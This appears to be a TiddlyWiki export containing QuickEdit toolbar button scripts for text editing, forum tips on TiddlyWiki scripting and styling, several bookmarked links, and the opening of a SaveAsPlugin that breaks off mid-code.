|Source|http://www.TiddlyTools.com/#QuickEdit_file|
|Version|2.2.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.2|
|Type|script|
|Requires|QuickEditPlugin|
|Overrides||
|Description|definition for toolbar buttons that insert content from external files|

Usage:
QuickEditToolbar: <<tiddler QuickEdit_file>>
OR
EditTemplate: <span class='toolbar' macro='tiddler QuickEdit_file'></span>

**** INSERT FILE ****
%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink"
	title="insert content from an external text file"
	onclick="var fn=config.quickEdit.promptForFilename('Enter/select a text file',getLocalPath(document.location.href),'');
	if (!fn) return false; /* cancelled by user */
	var text=loadFile(getLocalPath(fn)); if (!text) { alert('Error: unable to read contents from \0027'+fn+'\0027'); return; }
	return config.quickEdit.setSelection(place,text);"
>file</a></html>
/%
|Name|QuickEdit_font|
|Source|http://www.TiddlyTools.com/#QuickEdit_font|
|Version|2.2.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.2|
|Type|script|
|Requires|QuickEditPlugin|
|Overrides||
|Description|definition for toolbar button that set font-family CSS attribute|

Usage:
QuickEditToolbar: <<tiddler QuickEdit_font>>
OR
EditTemplate: <span class='toolbar' macro='tiddler QuickEdit_macro'></span>

%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink"
title="set font-family CSS attribute - @@font-family:facename;...@@"
onclick="var p=Popup.create(this); if (!p) return false; p.className+=' sticky smallform';
	var s=createTiddlyElement(p,'select'); s.button=this;
	s.options[0]=new Option('select a font family...','');
	s.onchange=function(){
		if (this.value=='_edit')
			story.displayTiddler(story.findContainingTiddler(this.button),'QuickEdit_fontList',DEFAULT_EDIT_TEMPLATE);			
		else
			config.quickEdit.wrapSelection(this.button,'@@font-family:\x22'+this.value+'\x22;','@@');
		Popup.remove(); return false;
	};
	var fonts=store.getTiddlerText('QuickEdit_fontList','').split('\n');
	for (var i=0; i<fonts.length; i++) {
		if (!fonts[i].length) continue;
		s.options[s.length]=new Option(fonts[i],fonts[i]);
		s.options[s.length-1].style.fontFamily=fonts[i];
	}
	s.options[s.length]=new Option('[Edit font list...]','_edit');
	s.options[s.length-1].title='enter fonts, one per line...';
	Popup.show(p,false);
	event.cancelBubble=true;if(event.stopPropagation)event.stopPropagation();return false;"
>font</a></html>
Arial,helvetica,sans-serif
Times New Roman,times,serif
Courier,monospaced
/%
|Name|QuickEdit_format|
|Source|http://www.TiddlyTools.com/#QuickEdit_format|
|Version|2.2.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.2|
|Type|script|
|Requires|QuickEditPlugin|
|Overrides||
|Description|definition for toolbar button for text formatting|

Usage:
QuickEditToolbar: <<tiddler QuickEdit_format>>
OR
EditTemplate: <span class='toolbar' macro='tiddler QuickEdit_format'></span>

%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink" title="''bold''" accesskey="B" 
onclick="config.quickEdit.wrapSelection(this,'\x27\x27','\x27\x27'); return false;"
>&nbsp;B&nbsp;</a></html>/%

%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink" title="//italics//" accesskey="I" 
onclick="config.quickEdit.wrapSelection(this,'//','//'); return false;"
>&nbsp;I&nbsp;</a></html>/%

%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink" title="__underline__" accesskey="U" 
onclick="config.quickEdit.wrapSelection(this,'__','__'); return false;"
>&nbsp;U&nbsp;</a></html>/%

%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink" title="--strikethrough--" accesskey="S" 
onclick="config.quickEdit.wrapSelection(this,'--','--'); return false;"
>&nbsp;S&nbsp;</a></html>/%

%/ &nbsp;/%  SPACER

%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink"
title="format text"
onclick="var p=Popup.create(this); if (!p) return false; p.className+=' sticky smallform';
	var s=createTiddlyElement(p,'select'); s.button=this;
	s.options[0]=new Option('select text format...','');
	s.onchange=function(){
		var parts=this.value.split(',');
		config.quickEdit.wrapSelection(this.button,parts[0],parts[1]);
		Popup.remove(); return false;
	};
	s.options[s.length]=new Option('superscript','^^,^^');
	s.options[s.length-1].title='^^superscript^^';
	s.options[s.length]=new Option('subscript','~~,~~');
	s.options[s.length-1].title='~~subcript~~';
	s.options[s.length]=new Option('blockquote','\n\<\<\<\n,\n\<\<\<\n');
	s.options[s.length-1].title='indented blockquote - \<\<\<';
	s.options[s.length]=new Option('monospaced','{{{,}}}');
	s.options[s.length-1].title='inline monospaced text - {{{...}}}';
	s.options[s.length]=new Option('pre','\n{{{\n,\n}}}\n');
	s.options[s.length-1].title='multi-line monospaced text box - {{{...}}}';
	s.options[s.length]=new Option('heading 1','\n!,\n');
	s.options[s.length-1].title='H1 heading - !';
	s.options[s.length]=new Option('heading 2','\n!!,\n');
	s.options[s.length-1].title='H2 heading - !';
	s.options[s.length]=new Option('heading 3','\n!!!,\n');
	s.options[s.length-1].title='H3 heading - !';
	s.options[s.length]=new Option('heading 4','\n!!!!,\n');
	s.options[s.length-1].title='H4 heading - !';
	s.options[s.length]=new Option('heading 5','\n!!!!!,\n');
	s.options[s.length-1].title='H5 heading - !';
	s.options[s.length]=new Option('comment','/%,%/');
	s.options[s.length-1].title='comment (hidden content) - /%...%/';
	s.options[s.length]=new Option('HTML','<html>,<\x2fhtml>');
	s.options[s.length-1].title='HTML syntax - <html>...<\x2fhtml>';
	Popup.show(p,false);
	event.cancelBubble=true;if(event.stopPropagation)event.stopPropagation();return false;"
>format</a></html>
/%
|Name|QuickEdit_image|
|Source|http://www.TiddlyTools.com/#QuickEdit_image|
|Version|2.2.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.2|
|Type|script|
|Requires|QuickEditPlugin|
|Overrides||
|Description|definition for toolbar buttons that insert embedded image references|

Usage:
QuickEditToolbar: <<tiddler QuickEdit_image>>
OR
EditTemplate: <span class='toolbar' macro='tiddler QuickEdit_image'></span>

**** INSERT IMAGE ****
%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink"
	title="embed an image (jpg/gif/png) - [img[tooltip|URL]] or [img[tooltip|path/to/file.ext]]"
	onclick="var fn=config.quickEdit.promptForFilename('Enter/select an image file',getLocalPath(document.location.href),'');
	if (!fn) return false;  /* cancelled by user */
	var tip=prompt('Enter a tooltip for this image',''); if (!tip) tip=''; else tip+='|';
	return config.quickEdit.setSelection(this,'[img['+tip+fn+']]');"
>image</a></html>
/%
|Name|QuickEdit_link|
|Source|http://www.TiddlyTools.com/#QuickEdit_link|
|Version|2.2.1|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.2|
|Type|script|
|Requires|QuickEditPlugin|
|Overrides||
|Description|toolbar button that inserts a ~PrettyTiddlyLink to a tiddler or external file|

Usage:
QuickEditToolbar: <<tiddler QuickEdit_link>>
OR
EditTemplate: <span class='toolbar' macro='tiddler QuickEdit_link'></span>

**** INSERT LINK ****
%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink"
title="add a 'PrettyLink' to another tiddler - [[link text|TiddlerName]]"
onclick="var p=Popup.create(this); if (!p) return false; p.className+=' sticky smallform';
	var s=createTiddlyElement(p,'select'); s.button=this;
	s.options[0]=new Option('select a tiddler or file...','');
	s.onchange=function(){
		var title=this.value; var txt=title;
		if (title=='_file') {
			title=config.quickEdit.promptForFilename('Select a file',
				getLocalPath(document.location.href),'');
			if (!title) { this.selectedIndex=0; this.focus(); return false; }
			var txt=title.substr(title.lastIndexOf('/')+1);
		}
		var txt=prompt('Enter the text to display for this link',txt);
		if (!txt) { this.selectedIndex=0; this.focus(); return false; }
		config.quickEdit.setSelection(this.button,'[['+txt+'|'+title+']]');
		Popup.remove(); return false;
	};
	s.options[s.length]=new Option('[browse for file...]','_file');
	var tids=store.getTiddlers('title');
	for (var t=0; t<tids.length; t++) {
		s.options[s.length]=new Option(tids[t].title,tids[t].title);
		s.options[s.length-1].title=tids[t].getSubtitle();
	}
	var s=createTiddlyElement(p,'select');
	s.options[0]=new Option('match tag...','');
	s.onchange=function(){
		var tag=this.value;
		var tids=tag.length?store.getTaggedTiddlers(tag,'title'):store.getTiddlers('title');
		var list=this.previousSibling;
		while (list.length) list.options[0]=null;
		var prompt='select a tiddler or file...';
		if (tag.length) prompt='select a tagged tiddler ['+tids.length+' matches]...';
		list.options[0]=new Option(prompt,'');
		if (!tag.length) list.options[list.length]=new Option('[browse for file...]','_file');
		for (var t=0; t<tids.length; t++) {
			list.options[list.length]=new Option(tids[t].title,tids[t].title);
			list.options[list.length-1].title=tids[t].getSubtitle();
		}
	};
	var tags=store.getTags();
	for (var t=0; t<tags.length; t++) s.options[s.length]=new Option(tags[t][0],tags[t][0]);
	Popup.show(p,false);
	event.cancelBubble=true;if(event.stopPropagation)event.stopPropagation();return false;"
>link</a></html>
/%
|Name|QuickEdit_macro|
|Source|http://www.TiddlyTools.com/#QuickEdit_macro|
|Version|2.2.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.2|
|Type|script|
|Requires|QuickEditPlugin|
|Overrides||
|Description|definition for toolbar button that inserts macros with guide text|

Usage:
QuickEditToolbar: <<tiddler QuickEdit_macro>>
OR
EditTemplate: <span class='toolbar' macro='tiddler QuickEdit_macro'></span>

**** INSERT MACRO ****
The "macro" command can include optional "guideText" for any given macro, as an aide to entering macro parameters, by embedding placeholders or recommended default values into the macro syntax that is inserted into your tiddler content.  For built-in TW core macros, this guideText is defined below.  You can add guideText to your own plugin-defined macros by using the following javascript syntax: config.macros.macroName.guideText="guide text goes here";
%/<<tiddler {{
	/* SET MACRO GUIDE TEXT (for built-in core macros) (11/17 - TBD - incomplete list) */
	config.macros.edit.guideText="fieldname #rows";
	config.macros.view.guideText="fieldname (link,wikified,date) format";
	config.macros.slider.guideText="cookie TiddlerName label tooltip";
	config.macros.option.guideText="(txtCookieName,chkCookieName)";
	config.macros.tiddler.guideText="TiddlerName with: params...";
	""; /* must return blank to suppress output */ }}>>/%
%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink"
title="add a macro - \<\<macroName ...\>\>"
onclick="var p=Popup.create(this); if (!p) return false; p.className+=' sticky smallform';
	var s=createTiddlyElement(p,'select'); s.button=this;
	s.options[0]=new Option('select a macro...','');
	s.onchange=function(){
		config.quickEdit.setSelection(this.button,'\<\<'+this.value+'\>\>');
		Popup.remove(); return false;
	};
	var macros=[]; for (var m in config.macros) if (config.macros[m].handler) macros.push(m); macros.sort();
	for (var i=0; i<macros.length; i++) { var m=macros[i];
		var help=config.macros[m].guideText; if (!help) help=''; else help=' '+help;
		s.options[s.length]=new Option(m,m+help);
		s.options[s.length-1].title='\<\<'+m+help+'\>\>';
	}
	Popup.show(p,false);
	event.cancelBubble=true;if(event.stopPropagation)event.stopPropagation();return false;"
>macro</a></html>
/%
|Name|QuickEdit_replace|
|Source|http://www.TiddlyTools.com/#QuickEdit_replace|
|Version|2.2.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.2|
|Type|script|
|Requires|QuickEditPlugin|
|Overrides||
|Description|definition for find/replace toolbar button|

Usage:find/replace selected text with replacement text
QuickEditToolbar: <<tiddler QuickEdit_replace>>
OR
EditTemplate: <span class='toolbar' macro='tiddler QuickEdit_replace'></span>

**** FIND/REPLACE/NEXT/ALL ****
%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink"
title="find/replace selected text with replacement text"
onclick="var here=story.findContainingTiddler(this); if (!here) return false;
	var e=config.quickEdit.getField(here);
	var s=config.quickEdit.getSelection(e); 
	var p=Popup.create(this,null,'popup sticky smallform'); if (!p) return false;
	var t=createTiddlyElement(p,'input'); t.onfocus=function(){this.select()};
	t.value=s.length?s:'enter target text';
	var r=createTiddlyElement(p,'input'); r.onfocus=function(){this.select()};
	r.value='enter replacement text';
	var tid=here.getAttribute('tiddler');
	var b=createTiddlyElement(p,'button',null,null,'?',{tid:tid});
	b.style.width='2em';
	b.title='FIND/FIND NEXT target text';
	b.onclick=function(ev) { /* FIND */
		var e=story.getTiddlerField(this.getAttribute('tid'),'text');
		if (!e||e.getAttribute('edit')!='text') return;
		var t=this.previousSibling.previousSibling;
		e.focus();
		if (e.setSelectionRange) { /* MOZ */
			var newstart=e.value.indexOf(t.value,e.selectionStart+1);
			if (newstart==-1) newstart=e.value.indexOf(t.value); /* wrap around */
			if (newstart==-1) { alert('\u0022'+t.value+'\u0022 not found'); t.focus(); return; }
			e.setSelectionRange(newstart,newstart+t.value.length);
			var linecount=e.value.split('\n').length;
			var thisline=e.value.substr(0,e.selectionStart).split('\n').length;
			e.scrollTop=Math.floor((thisline-1-e.rows/2)*e.scrollHeight/linecount);
		} else if (document.selection) { /* IE */
			var range=document.selection.createRange();
			if(range.parentElement()==e) {
				range.collapse(false);
				var found=false; try{found=range.findText(t.value,e.value.length,4)}catch(e){}
				if (found) range.select();
				else { alert('\u0022'+t.value+'\u0022 not found'); t.focus(); }
			}
		}
	};
	b=createTiddlyElement(p,'button',null,null,'=',{tid:tid});
	b.style.width='2em';
	b.title='REPLACE selected text';
	b.onclick=function(ev) { /* REPLACE */
		var e=story.getTiddlerField(this.getAttribute('tid'),'text');
		if (!e||e.getAttribute('edit')!='text') return;
		var t=this.previousSibling.previousSibling.previousSibling;
		var r=this.previousSibling.previousSibling;
		if (   (e.selectionStart!==undefined && e.selectionEnd==e.selectionStart)
		    || (document.selection && document.selection.createRange().text==''))
			this.previousSibling.click(); /* no selection... do FIND first */
		if (   (e.selectionStart!==undefined && e.selectionEnd==e.selectionStart)
		    || (document.selection && document.selection.createRange().text==''))
			{ t.focus(); return; } /* still no selection... goto target input */
		e.focus(); replaceSelection(e,r.value);
	};
	b=createTiddlyElement(p,'button',null,null,'+',{tid:tid});
	b.style.width='2em';
	b.title='REPLACE selected text AND FIND NEXT target text';
	b.onclick=function(ev) { /* REPLACE and FIND NEXT */
		this.previousSibling.click();
		this.previousSibling.previousSibling.click();
	};
	b=createTiddlyElement(p,'button',null,null,'!',{tid:tid});
	b.style.width='2em';
	b.title='REPLACE ALL occurrences of target text';
	b.onclick=function(ev) { /* REPLACE ALL */
		var e=story.getTiddlerField(this.getAttribute('tid'),'text');
		if (!e||e.getAttribute('edit')!='text') return;
		var t=this.previousSibling.previousSibling.previousSibling.previousSibling.previousSibling;
		var r=this.previousSibling.previousSibling.previousSibling.previousSibling;
		if (!t.value.length) { alert('Please enter the target text'); t.focus(); return; }
		var m='This will replace all occurences of:\n\n';
		m+='\''+t.value+'\'\n\nwith:\n\n\''+r.value+'\'\n\nAre you sure?';
		if (!confirm(m)) { r.focus(); r.select(); return; }
		e.value=e.value.replace(new RegExp(t.value.escapeRegExp(),'gm'),r.value);
		e.focus(); e.select(); Popup.remove();
	};
	Popup.show(p,false);
	if (!s.length) {t.focus();t.select()} else {r.focus();r.select()}
	event.cancelBubble=true;if(event.stopPropagation)event.stopPropagation();return false;"
>replace</a></html>
/%
|Name|QuickEdit_sort|
|Source|http://www.TiddlyTools.com/#QuickEdit_sort|
|Version|2.2.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.2|
|Type|script|
|Requires|QuickEditPlugin|
|Overrides||
|Description|definition for toolbar "sort" button|

Usage:
QuickEditToolbar: <<tiddler QuickEdit_sort>>
OR
EditTemplate: <span class='toolbar' macro='tiddler QuickEdit_sort'></span>

**** SORT LINES ****
%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink"
title="sort lines of text"
onclick="var p=Popup.create(this); if (!p) return false; p.className+=' sticky smallform';
	var s=createTiddlyElement(p,'select'); s.button=this;
	s.options[0]=new Option('select sort order...','');
	s.onchange=function(){
		var e=config.quickEdit.getField(this.button); if (!e) return false;
		var lines=config.quickEdit.getSelection(e).split('\n').sort();
		if (this.value=='D') lines=lines.reverse();
		replaceSelection(e,lines.join('\n'));
		e.focus();
		Popup.remove(); return false;
	};
	s.options[s.length]=new Option('ascending','A');
	s.options[s.length-1].title='ascending';
	s.options[s.length]=new Option('descending','D');
	s.options[s.length-1].title='descending';
	Popup.show(p,false);
	event.cancelBubble=true;if(event.stopPropagation)event.stopPropagation();return false;"
>sort</a></html>
/%
|Name|QuickEdit_split|
|Source|http://www.TiddlyTools.com/#QuickEdit_split|
|Version|2.2.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.2|
|Type|script|
|Requires|QuickEditPlugin|
|Overrides||
|Description|toolbar button: split selected content into separate tiddler|

Based on ideas originally developed by YannPerrin
(http://yann.perrin.googlepages.com/twkd.html#easySlicer)

Usage
QuickEditToolbar: <<tiddler QuickEdit_split>>
OR
EditTemplate:
<div class='toolbar'>
	<span macro='toolbar +saveTiddler -cancelTiddler deleteTiddler'></span>
	<span macro='tiddler QuickEdit_split'></span>
</div>

**** SPLIT TIDDLER ****
%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink"
title="move selection to new tiddler and insert link, embedded tiddler, or slider"
onclick="var p=Popup.create(this); if (!p) return false; p.className+=' sticky smallform';
	p.style.whiteSpace='nowrap';
	var i=createTiddlyElement(p,'input');
	i.defaultValue='Enter a new tiddler title';
	i.onfocus=function(){this.select()};
	var s=createTiddlyElement(p,'select'); s.button=this;
	s.options[0]=new Option('select type...','');
	s.options[0].title='select split type';
	s.options[1]=new Option('link','link');
	s.options[1].title='replace with [[TiddlerName]]';
	s.options[2]=new Option('embed','embed');
	s.options[2].title='replace with \<\<tiddler TiddlerName\>\>';
	s.options[3]=new Option('slider','slider');
	s.options[3].title='replace with \<\<slider \u0022\u0022 [[TiddlerName]] [[label]] [[tooltip]]\>\>';
	s.onchange=function(){
		if (s.previousSibling.value==s.previousSibling.defaultValue)
			{ alert('A tiddler title is required'); s.selectedIndex=0; s.previousSibling.focus(); return false; }
		var tid=s.previousSibling.value;
		if (store.tiddlerExists(tid) && !confirm(config.messages.overwriteWarning.format([tid])))
			{ s.previousSibling.focus(); return false; }
		switch(s.value) {
			case 'link':
				var newtxt='[['+tid+']]';
				break;
			case 'embed':
				var newtxt='\<\<tiddler [['+tid+']]\>\>';
				break;
			case 'slider':
				var label=prompt('Enter a slider label',tid);
				if (!label) { Popup.remove(); return false; }
				var tip=prompt('Enter a slider tooltip',label);
				if (!tip) { Popup.remove(); return false; }
				var newtxt='\<\<slider \u0022\u0022 [['+tid+']] [['+label+']] [['+tip+']]\>\>';
				break;
		}
		var txt=config.quickEdit.getSelection(config.quickEdit.getField(this.button));
		store.saveTiddler(tid,tid,txt,config.options.txtUserName,new Date(),[],{});
		story.displayTiddler(story.findContainingTiddler(this.button),tid);
		config.quickEdit.setSelection(this.button,newtxt);
		Popup.remove(); return false;
	};
	Popup.show(p,false);
	event.cancelBubble=true;if(event.stopPropagation)event.stopPropagation();return false;"
>split</a></html>
/%
|Name|QuickEdit_tiddler|
|Source|http://www.TiddlyTools.com/#QuickEdit_tiddler|
|Version|2.2.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.2|
|Type|script|
|Requires|QuickEditPlugin|
|Overrides||
|Description|definition for toolbar button that inserts content from another tiddler|

Usage:
QuickEditToolbar: <<tiddler QuickEdit_tiddler>>
OR
EditTemplate: <span class='toolbar' macro='tiddler QuickEdit_tiddler'></span>

**** INSERT TIDDLER ****
%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink"
title="copy content from another tiddler"
onclick="var p=Popup.create(this); if (!p) return false; p.className+=' sticky smallform';
	var s=createTiddlyElement(p,'select'); s.button=this;
	s.options[0]=new Option('select a tiddler...','');
	s.onchange=function(){
		var txt=store.getTiddlerText(this.value);
		if (!txt) { displayMessage(this.value+' not found'); this.selectedIndex=0; this.focus(); return false; }
		config.quickEdit.setSelection(this.button,txt);
		Popup.remove(); return false;
	};
	var tids=store.getTiddlers('title');
	for (var t=0; t<tids.length; t++) {
		s.options[s.length]=new Option(tids[t].title,tids[t].title);
		s.options[s.length-1].title=tids[t].getSubtitle();
	}
	var s=createTiddlyElement(p,'select');
	s.options[0]=new Option('match tag...','');
	s.onchange=function(){
		var tag=this.value;
		var tids=tag.length?store.getTaggedTiddlers(tag,'title'):store.getTiddlers('title');
		var list=this.previousSibling;
		while (list.length) list.options[0]=null;
		var prompt='select a '+(tag.length?'tagged ':'')+'tiddler'+(tag.length?(' ['+tids.length+' matches]'):'')+'...';
		list.options[0]=new Option(prompt,'');
		for (var t=0; t<tids.length; t++) {
			list.options[list.length]=new Option(tids[t].title,tids[t].title);
			list.options[list.length-1].title=tids[t].getSubtitle();
		}
	};
	var tags=store.getTags();
	for (var t=0; t<tags.length; t++) s.options[s.length]=new Option(tags[t][0],tags[t][0]);
	Popup.show(p,false);
	event.cancelBubble=true;if(event.stopPropagation)event.stopPropagation();return false;"
>tiddler</a></html>
Firefox and other Mozilla browser users often ask why they are told that additional plugins are needed for content that Quicktime can handle, when the Quicktime Player is already installed. In most cases, it's just a matter of enabling the Quicktime browser plugin for a particular MIME type

Source: [[Quicktime - MozillaZine Knowledge Base|http://kb.mozillazine.org/Quicktime]]
[[Quicktime/Real/Windows Media Player Issues (Windows) - MozillaZine Forums|http://forums.mozillazine.org/viewtopic.php?t=206216]]
In this age of email newsletters and RSS readers, we have access to enormous amounts of information. There are few tools to help manage this information. Readeroo is a simple Firefox plugin that lets you "queue up" articles you might not have the time to read now, and then access them later (the name comes from "Reader" and "Queue"). It is powered by del.icio.us.

Source: [[Readeroo (Proxomitron)|http://www.monsur.com/projects/readeroo/]]
[[Reclaim Disk Space After Installing Vista Sp1 - The Elder Geek on Windows Vista|http://www.theeldergeekvista.com/forum/index.php?s=9b46fafca2614a57243f6d5b959dae71&showtopic=709]]
[[{Index}]]
[[SliderMenu]]
[[KeyStrokes]]
[[Memorize]]
[[TWHelp]]
[[TWSites]]
[[Entities]]
[[PluginServers]]
[[SearchWeb]]
[[SetTabBackgrounds]]
I have a <div> (PageTemplate) containing a <<tiddler contentHeader>>
I use the div to show (3) days of upcoming reminders - any way to
refresh the div / tiddler hourly? 

Try this:
{{{
[[PageTemplate]]:
<div class='hD' id='hD' refresh='content' tiddler='contentHeader'></
div>

[[contentHeader]]:
<<tiddler DateTime>>
__''Reminders''__
<<showReminders leadtime:2>><script>
   setTimeout("config.refreshers.content(document.getElementById
('hD'))",3600000);
</script>
}}}
enjoy,
-e
Eric Shulman 


Source: [[Refresh <div> every hour (containing a transcluded tiddler) - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/8ebad1812af2063f#]]
<html><input type="button" value="Refresh Styles" onClick="javascript:refreshStyles('StyleSheet');" name="button" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'"/></html>
[[Registering Programs with Client Types|http://msdn2.microsoft.com/en-us/library/bb776851(VS.85).aspx#registering_the_display_name]]
The real problem here is that RemindersPlugin has simply assumed that
the core search() function always searches within text.  In fact,
there's no reason for the plugin to even use the core search function
at all!  It would be more efficient for that plugin to include it's
own simple tiddler text search code, which would also make it immune
to hijacks by code in other plugins.

Here's the relevant part of the *current* RemindersPlugin code:
{{{
-------------------------------------------------------
window.findTiddlersWithReminders = function findTiddlersWithReminders
(baseDate, leadtime, tags, limit)
{
   var macroPattern = "<<(reminder)(.*)>>";
   var macroRegExp = new RegExp(macroPattern,"mg");
   var matches = store.search(macroRegExp,"title","");
-------------------------------------------------------

To replace use of the core store.search function, simply change this:

var matches = store.search(macroRegExp,"title","");

to this:

var matches=[];
store.forEachTiddler( function(title,tiddler){
        if (macroRegExp.exec(tiddler.text)) matches.push(tiddler);

});

}}}
enjoy,
-e 

Source: [[RemindersPlugin Clashes with SearchOptionsPlugin - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/a2c422f1108c4af2]]
> Hi, I would like to implement a custom formatter which searches for
> images and then displays all previous text paragraphs as layers
> (nested divs with position:relative) on top of the image, keeping all
> other wiki rendering of the text intact. I plan to use this to create
> accessible speech bubbles for cheapish webcomics. :)

I don't think you really need to create a custom formatter for that.
All you need to do is to wrap the text paragraphs preceding the image
within a CSS class that applies 'position:absolute' (not
'position:relative', as you had suggested).

There are two ways in TiddlyWiki to do this very easily:
{{{
1) inline CSS, using this syntax:
   @@attribute:value;attribute:value;...content...@@

Thus, write in your tiddler:
   @@position:absolute;
   ... your text content goes here...
   @@[img[filename.jpg]]

2) custom CSS class wrapper, using this syntax:
   {{classname{...content...}}}

Thus, add to your [[StyleSheet]] (see more>shadowed tab in sidebar):
   .absolute { position:absolute; }
and write in your tiddler:
   {{absolute{
   ... your text content goes here...
   }}}[img[filename.jpg]]
}}}
enjoy, 

Source: [[Render paragraphs on top of images - TiddlyWikiDev : Google Groups|http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/d2702ad6f245e3b2]]
Rollover Script

Source: [[Rollover Script|http://htmlcodetutorial.com/help/ftopic5929.html]]
> Would it be possible to extent RunTiddlerPlugin a bit - so that it not
> only runs a systemConfig tiddlers with the toolbar command - but also
> via indicating a systemConfig tiddler with a macro call?

RunTiddlerPlugin has been updated to provide a new macro:
{{{   
<<runTiddler TiddlerName>> 
}}}
Source: [[RunTiddlerPlugin feature request - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/dc1501a3c583d6f7]]
/***
|Name|SaveAsPlugin|
|Source|http://www.TiddlyTools.com/#SaveAsPlugin|
|Documentation|http://www.TiddlyTools.com/#SaveAsPlugin|
|Version|1.0.1|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides||
|Description|Save current document to a different path/filename|
!!!!!Documentation
<<<
Syntax: {{{<<saveAs>>}}}
<<saveAs>>
<<<
!!!!!Revisions
<<<
2008.04.12 [1.0.1] automatically add "saveAs" to backstage commands
2008.04.12 [1.0.0] initial release - derived from [[NewDocumentPlugin]]
<<<
!!!!!Code
***/
//{{{
version.extensions.SaveAsPlugin= {major: 1, minor: 0, revision: 1, date: new Date(2008,4,12)};

config.macros.saveAs = {
	label: "save as...",
	prompt: "Save current document to a different path/file",
	filePrompt: "Please select or enter a target path/filename",
	defaultFilename: "new.html",
	okmsg: "%0 tiddlers written to %1",
	failmsg: "An error occurred while creating %0",
	handler: function(place,macroName,params)
		{ var btn=createTiddlyButton(place,this.label,this.prompt,this.go); },
	go: function() {
		// make sure we are local
		if (window.location.protocol!="file:") {
			alert(config.messages.notFileUrlError); 
			if (store.tiddlerExists(config.messages.saveInstructions))
				story.displayTiddler(null,config.messages.saveInstructions);
			return;
		}
		// get current saved file
		var currPath=getLocalPath(window.location.href);
		var original=loadFile(currPath);
		if (!original) {
			alert(config.messages.cantSaveError); 
			if (store.tiddlerExists(config.messages.saveInstructions))
				story.displayTiddler(null,config.messages.saveInstructions);
			return;
		}

		// get new target path/filename
		var newPath=currPath;
		var slashpos=newPath.lastIndexOf("/"); if (slashpos==-1) slashpos=newPath.lastIndexOf("\\"); 
		if (slashpos!=-1) newPath=newPath.substr(0,slashpos+1); // trim filename
		var newFile=currPath.substr(newPath.length); // trim path
		if (!newFile.length) newFile=config.macros.saveAs.defaultFilename;
		var target=config.macros.saveAs.ask(config.macros.saveAs.filePrompt,newPath,newFile);
		if (!target) return; // cancelled by user
		// if specified file does not include a path, assemble fully qualified path and filename
		var slashpos=target.lastIndexOf("/"); if (slashpos==-1) slashpos=target.lastIndexOf("\\");
		if (slashpos==-1) target=target+config.macros.saveAs.defaultFilename;
		var link="file:///"+target.replace(/\\/g,'/'); // link for message text

		// write target
		if (saveFile(target,updateOriginal(original)))
			var msg=config.macros.saveAs.okmsg.format([store.getTiddlers("title").length,target]);
		else
			var msg=config.macros.saveAs.failmsg.format([target]);
		clearMessage(); displayMessage(msg,link);
	},
	ask: function(msg,path,file) {
		if(window.Components) { // moz
			try {
				netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
				var nsIFilePicker = window.Components.interfaces.nsIFilePicker;
				var picker = Components.classes['@mozilla.org/filepicker;1'].createInstance(nsIFilePicker);
